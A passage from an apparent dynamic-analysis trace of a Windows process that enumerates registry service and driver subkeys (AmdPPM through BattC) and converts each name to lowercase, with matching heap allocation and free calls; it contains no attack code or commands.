RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.722] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0228.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0228.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.723] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0228.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0228.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.723] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0228.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0228.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.723] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0228.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0228.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.724] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0228.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0228.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.724] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0228.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0228.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.724] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0228.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0228.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.724] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0228.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0228.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.725] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0228.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0228.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.725] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0228.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0228.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.726] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0228.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0228.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.726] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0228.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0228.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.726] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0228.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0228.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1bf8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0228.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.726] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0228.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0228.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.727] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0228.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0228.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.727] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0228.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0228.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1d18, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0228.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.727] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0228.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0228.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.728] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0228.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0228.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.728] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0228.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0228.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.728] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0228.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0228.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.728] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0228.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, 